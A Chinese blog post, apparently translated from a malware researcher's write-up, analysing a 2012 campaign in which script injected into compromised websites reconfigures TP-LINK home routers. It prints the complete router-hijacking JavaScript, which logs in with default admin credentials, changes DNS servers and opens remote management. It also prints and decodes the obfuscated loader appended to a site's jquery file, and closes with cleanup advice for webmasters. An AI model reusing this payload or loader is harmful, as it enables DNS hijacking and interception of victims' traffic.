防止通过JavaScript脚本攻击家用路由器
我们最近注意到提交Wepawet试图访问本地IP地址。这是特别重要的,因为攻击者的目的是篡改受害者的家庭路由器的配置。
一个活生生的例子是位于http://freemdsv.com/ad.php?pid=20120811
-
if (MSIE = navigator.userAgent.indexOf("MSIE") == -1) {
-
document.writeln("<div style=\'display:none\'>");
-
-
function ip1() {
-
i = new Image;
-
i.src = 'http://192.168.1.1/userRpm/PPPoECfgAdvRpm.htm?wan=0&lcpMru=1480&ServiceName=&AcName=&EchoReq=0&manual=2&dnsserver=58.221.59.217&dnsserver2=114.114.114.114&downBandwidth=0&upBandwidth=0&Save=%B1%A3+%B4%E6&Advanced=Advanced';
-
}
-
document.write('<img src="http://admin:admin@192.168.1.1/images/logo.jpg" height=1 width=1 onload=ip1()>');
-
-
function ip3() {
-
ii = new Image;
-
ii.src = 'http://192.168.1.1/userRpm/ManageControlRpm.htm?port=11&ip=0.0.0.0&Save=%C8%B7+%B6%A8';
-
}
-
document.write('<img src="http://admin:admin@192.168.1.1/images/logo.jpg" height=1 width=1 onload=ip3()>');
-
document.writeln("</div>");
-
}
该脚本主要检查是否路由器是通过图像请求访问:
-
http://admin:admin @ 192.168.1.1/images/logo.jpg
因此,预计该路由器是留在与用户名/密码的默认配置为管理员:admin和它是从IP地址192.168.1.1访问。 IP1和IP3负责路由器与下列请求恶意重构的功能:
-
http ://192.168.1.1/userRpm/PPPoECfgAdvRpm.htm?wan=0&lcpMru=1480&ServiceName=&AcName=&EchoReq=0&manual=2&dnsserver=58.221.59.217&dnsserver2=114.114.114.114&downBandwidth=0&upBandwidth=0&Save=%B1%A3+%B4%E6&Advanced=Advanced
和
-
http ://192.168.1.1/userRpm/ManageControlRpm.htm?port=11&ip=0.0.0.0&Save=%C8%B7+%B6%A8
文件“PPPoECfgAdvRpm.htm”似乎是的PPPoE高级设置的TP-LINK路由器 (配置链接 演示地址 )。 他们改变受害者的DNS服务器58.221.59.217和114.114.114.114这是非常有趣的,这意味着受害者是易受人在这方面的中间人攻击。
第二个请求重新配置路由器被远程访问通过它的Web界面( 链接 演示地址)。 通过这种方式,攻击者可以在远程将自己的意志改变受害者的路由器的设置。
从Wepawet执行这种攻击的一些报道在这里:
Wepawet报告
Wepawet报告
Wepawet报告
Wepawet报告
Wepawet报告
Wepawet报告
Wepawet报告
Wepawet报告
Wepawet报告
Wepawet报告
很多站长朋友反馈,有时候会运行网站的时候会看到下面的被chrome或者firefox等拦截的提示:
其实就是网站中某个JS文件被加入了JavaScript攻击家用路由器的代码。也就是说网站被挂马了。
如果你的网站出现这样的情况,不要着急,http://zhanzhang.anquan.org/topic/dns_hijacking/ 通过这个网址来检查你的网站。
如果被挂马的话,会出现如下面图片所示(下面的图片来自网络):
可以看出网站http://www.txxxxy.org 的检测报告里 报告了2个文件和相关恶意代码:
http://www.txxxxy.org/statics/js/jquery.sgallery.js
http://freemdsv.com/ad.php?pid=20120811
恶意链接:
http://admin:admin@192.168.1.1/images/logo.jpg
其中 http://www.txxxxy.org/statics/js/jquery.sgallery.js 这个文件是网站http://www.txxxxy.org 上的文件,而http://freemdsv.com/ad.php?pid=20120811这个文件是别人网站上的文件。 我们分析下具体是啥。
浏览器访问http://www.txxxxy.org/statics/js/jquery.sgallery.js 得到这个js的代码,拖到文件最末看到有段代码,如下图:
代码如下:
-
if(document.cookie.indexOf('20120811')==-1){var expires=new Date();expires.setTime(expires.getTime()+24*60*60*1000);document.cookie='20120811=Yes;path=/;expires='+expires.toGMTString();document.write(unescape('%3C%73%63%72%69%70%74%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%66%72%65%65%6D%64%73%76%2E%63%6F%6D%2F%61%64%2E%70%68%70%3F%70%69%64%3D%32%30%31%32%30%38%31%31%22%20%74%79%70%65%3D%22%74%65%78%74%2F%6A%61%76%61%73%63%72%69%70%74%22%3E%3C%2F%73%63%72%69%70%74%3E'));}
这段代码里有部分加密的,我们解密一下:如下图
得到代码:
-
<script src="http://freemdsv.com/ad.php?pid=20120811" type="text/javascript"></script>
是不是调用了我们上面说到的这个文件呢。
解决也很简单,删掉这段代码就OK了。
翻译自:http://blog.kapravelos.com/post/68334450790/attacking-home-routers-via-javascript
from:http://blog.csdn.net/risingsun001/article/details/25243783